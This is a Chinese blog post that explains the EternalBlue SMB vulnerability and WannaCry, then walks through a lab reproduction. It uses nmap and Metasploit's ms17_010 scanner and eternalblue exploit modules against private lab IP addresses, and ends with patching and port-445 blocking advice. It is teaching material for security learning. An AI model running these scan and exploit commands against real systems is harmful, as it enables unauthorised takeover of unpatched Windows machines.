草庐IT

永恒之蓝漏洞原理及复现

yaolingyu 2023-03-28 原文

一.介绍。

1.什么是永恒之蓝。

永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
2.SMB协议介绍。

SMB(ServerMessage Block)通信协议是微软(Microsoft)和英特尔(Intel)在1987年制定的协议,主要是作为Microsoft网络的通讯协议。SMB 是在会话层(session layer)和表示层(presentation layer)以及小部分应用层(application layer)的协议。SMB使用了NetBIOS的应用程序接口 (Application Program Interface,简称API),一般端口使用为139,445。

3.SMB会话生命阶段。

1) SMB协议协商(Negotiate)

在一个SMB还没有开始的时候,由客户端率先发出一个协商请求。在请求中,客户端会列出所有它所支持协议版本以及所支持的一些特性(比如加密Encryption、持久句柄Persistent Handle、客户端缓存Leasing等等)。而服务端在回复中则会指定一个SMB版本且列出客户端与服务端共同支持的特性。

2)建立SMB会话(Session Setup)

客户端选择一个服务端支持的协议来进行用户认证,可以选择的认证协议一般包括NTLM、Kerberos等。按照选择的认证协议的不同,这个阶段可能会进行一次或多次SESSION_SETOP请求/回复的网络包交换。

3)连接一个文件分享(Tree Connect)

在会话建立之后,客户端会发出连接文件分享的请求。源于文件系统的树形结构,该请求被命名为树连接(Tree Connect)。以SMB协议的阿里云NAS为例,一般的SMB挂载命令为:

net use z: \\XXX.nas.aliyuncs.com\myshare

其中的“ \\XXX.nas.aliyuncs.com\myshare”便是我们将要连接的那个文件分享,也便是那棵“树”。如果在“myshare”中创建有子目录“abc”,那直接连接“abc”这棵子树也是可以的:

net use z: \\XXX.nas.aliyuncs.com\myshare\abc

4) 文件系统操作

在文件分享连接成功之后,用户通过SMB客户端进行真正的对于目标文件分享的业务操作。这个阶段可以用到的指令有CREATE、CLOSE、FLUSH、READ、WRITE、SETINFO、GETINFO等等。

5)断开文件分享连接(Tree Disconnect)

当一个SMB会话被闲置一定时间之后,Windows会自动断开文件分享连接并随后中止SMB会话。这个闲置时间可以通过Windows注册表进行设定。当然,用户也可以主动发起断开连接请求。

6)终止SMB会话(Logoff)

当客户端发出会话中止请求并得到服务端发回的中止成功的回复之后,这个SMB会话至此便正式结束了。

二.实验环境。

1.环境介绍。

攻击机:kali:ip:192.168.248.128

靶机:windows7专业版:ip:192.168.248.130

2.工具介绍。

Metasploit:

Metasploit框架(简称MSF)是一个开源工具,旨在方便渗透测试,它是由Ruby程序语言编 写的模板化框架,具有很好的扩展性,便于渗透测试人员开发,使用定制的工具模板。该工具有六个模块,分别为辅助模块(auxiliary)、渗透攻击模块(exploits)、后渗透攻击模块(post)、攻击载荷模块(payloads)、空指令模块(nops)、编码器模块(encoders),其中msf为总模块,其他均为分支模块。此工具集成在kali中。其中auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块,exploit/windows/smb/ms17_010_eternalblue是永恒之蓝攻击代码,一般配合使用,前者先扫描,若显示有漏洞,再进行攻击。

三.实验步骤。

1.确定连通

用kali中ping命令测试。

 

 

 2.查看靶机开放端口。

nmap -r 192.168.248.130

 

 

 确定端口开放。

3.进入msf。

1)使用auxiliary模块。

use auxiliary/scanner/smb/smb_ms17_010

 

 

 2)查看需要配置的信息

show  options

 

 

 3)设置攻击目标及端口

set rhosts 192.168.248.130
set rport 445

 

 

 经测试后发现存在漏洞。

4)使用exploit/windows/smb/ms17_010_eternalblue进行攻击。

use exploit/windows/smb/ms17_010_eternalblue

 

 至此漏洞利用结束。

四.永恒之蓝防护。

1)禁用SMB协议

2)打开Windows Update,或手动安装补丁

3)使用防火墙阻止445端口的连接,或者使用进/出站规则阻止445端口的连接

4)不要随意打开陌生的文件

4)安装杀毒软件,及时更新病毒库

 

有关永恒之蓝漏洞原理及复现的更多相关文章

  1. Tomcat AJP 文件包含漏洞(CVE-2020-1938) - 2

    目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控

  2. 什么是0day漏洞?如何预防0day攻击? - 2

    什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相

  3. 【Unity游戏破解】外挂原理分析 - 2

    文章目录认识unity打包目录结构游戏逆向流程Unity游戏攻击面可被攻击原因mono的打包建议方案锁血飞天无限金币攻击力翻倍以上统称内存挂透视自瞄压枪瞬移内购破解Unity游戏防御开发时注意数据安全接入第三方反作弊系统外挂检测思路狠人自爆实战查看目录结构用il2cppdumper例子2-森林whoishe后记认识unity打包目录结构dll一般很大,因为里面是所有的游戏功能编译成的二进制码游戏逆向流程开发人员代码被编译打包到GameAssembly.dll中使用il2ppDumper工具,并借助游戏名_Data\il2cpp_data\Metadata\global-metadata.dat

  4. micropython复现经典单片机项目(二)可视化音频 频谱解析(基本搞定) - 2

    本人是音乐爱好者,从小就特别喜欢那个随着音乐跳动的方框效果,就是这个:arduino上一大把对,我忍你很久了,我就想用mpy做,全网没有,行我自己研究。果然兴趣是最好的老师,我之前有篇博客专门讲音频,有兴趣的可以回顾一下。提到可视化频谱,必然绕不开fft,大学学过这玩意,当时一心玩,老师讲的一个字都么听进去,网上教程简略扫了一下,大该就是把时域转频域的工具,我大mpy居然没有fft函数,奶奶的,先放着。音频信息如何收集?第一种傻瓜式的ADC,模拟转数字,原始粗暴,第二种,I2S库,我之前博客有讲过,数据是PCM编码。然后又去学PCM编码,一学豁然开朗,舒服,以代码为例:audio_in=I2S

  5. Slowloris DoS攻击的原理与简单实现 - 2

    前言    Slowloris攻击是我在李华峰老师的书——《MetasploitWeb 渗透测试实战》里面看的,感觉既简单又使用,现在这种攻击是很容易被防护的啦。不过我也不敢真刀实战的去试,只是拿个靶机玩玩罢了。         废话还是写在结语里面吧。(划掉)结语可以不看(划掉)Slowloris攻击的原理        Slowloris是一种资源消耗类DoS攻击,它利用部分HTTP请求进行操作。也叫做慢速攻击,这里的慢速并不是说发动攻击慢,而是访问一条链接的速度慢。Slowloris攻击的功能是打开与目标Web服务器的连接,然后尽可能长时间的保持这些连接打开。如果由多台电脑同时发起Slo

  6. [蓝桥杯单片机]学习笔记——串口通信的基本原理与应用 - 2

    目录一、原理部分1、什么是串行通信(1)并行通信与串行通信(2)串行通信的制式(3)串行通信的主要方式  2、配置串口(1)SCON和PCON:串行口1的控制寄存器(2)SBUF:串行口数据缓冲寄存器 (3)AUXR:辅助寄存器​编辑(4)ES、PS:与串行口1中断相关的寄存器(5)波特率设置  3、串口框架编写二、程序案例一、原理部分1、什么是串行通信(1)并行通信与串行通信微控制器与外部设备的数据通信,根据连线结构和传送方式的不同,可以分为两种:并行通信和串行通信。并行通信:数据的各位同时发送与接收,每个数据位使用一条导线,这种方式传输快,但是需要多条导线进行信号传输。串行通信:数据一位一

  7. ruby - # Ruby 中识别方法约定的基本原理/历史是什么? - 2

    例如,我一直看到称为String#split的方法,但从未见过String.split,这似乎更合乎逻辑。或者甚至可能是String::split,因为您可以认为#split位于String的命名空间中。当假定/隐含类(#split)时,我什至单独看到了该方法。我知道这是ri中识别方法的方式。哪个先出现?例如,这是为了区分方法和字段吗?我还听说这有助于区分实例方法和类方法。但这从哪里开始呢? 最佳答案 不同之处在于您如何访问这些方法。类方法使用::分隔符来表示消息可以发送到类/模块对象,而实例方法使用#分隔符表示消息可以发送到实例对

  8. H264压缩原理 - 2

    1、为什么压缩的原始数据一般采用YUV格式(1)利用人对图片感觉的生理特性,对于亮度信息比较敏感,对于色度信息不太敏感,所以视频编码是将Y分量和UV分量分开来编码,并且可以减少UV分量.2、视频压缩原理(1)空间冗余:图像相邻像素之间的相关性,比如一帧图片被划分成多个16x16的块之后,相邻的块之间有很多明显的相似性。(2)时间冗余:时间相差较近的两张图片变化较小。(3)视觉冗余:我们的眼睛对某些细节不太敏感,对图像中的高频信息的敏感度小于低频信息,可以去除一些高频信息。(4)编码冗余:一幅图片中不同像素出现的概率是不同的,对于出现次数较多的像素,用少的位数来编码,对于出现次数较少的像素,用多

  9. Python——程序的运行原理 - 2

    Python程序运行原理Python是一种脚本语言,编辑完成的程序,也称源代码,可以直接运行。从计算机的角度看,Python程序的运行过程包含两个步骤:解释器将源代码翻译成字节码(即中间码),然后由虚拟机解释执行。Python程序文件的扩展名通常为.py。在执行时,首先由Python解释器将.py文件中的源代码翻译成中间码,这个中间码是一个扩展名为.pyc的文件,再由Python虚拟机(PythonVirtualMachine,PVM)逐条将中间码翻译成机器指令执行。需要说明的是,pyc文件保存在Python安装目录的pycache文件夹下,如果Python无法在用户的计算机上写人字节码,字节

  10. ruby - $SAFE >= 1 的 ruby​​ 中可能存在哪些漏洞? - 2

    Ruby'ssafemode不允许通过潜在危险的操作使用受污染的数据。它的级别各不相同,0表示禁用,然后1-4表示安全级别。启用安全模式时可能存在哪些漏洞?您知道在启用安全模式时发给ruby​​程序的任何CVE编号吗?什么CWEViolations(或cwe系列)是否可以启用安全模式? 最佳答案 所有应用程序级别的漏洞都完全不受$SAFE级别的影响。不通过“不安全操作”的注入(inject)攻击,例如跨站点脚本和SQL注入(inject)。这或多或少包括Web应用程序的每个漏洞类别,可能除了本地和远程文件包含。查看OWASPTop1

随机推荐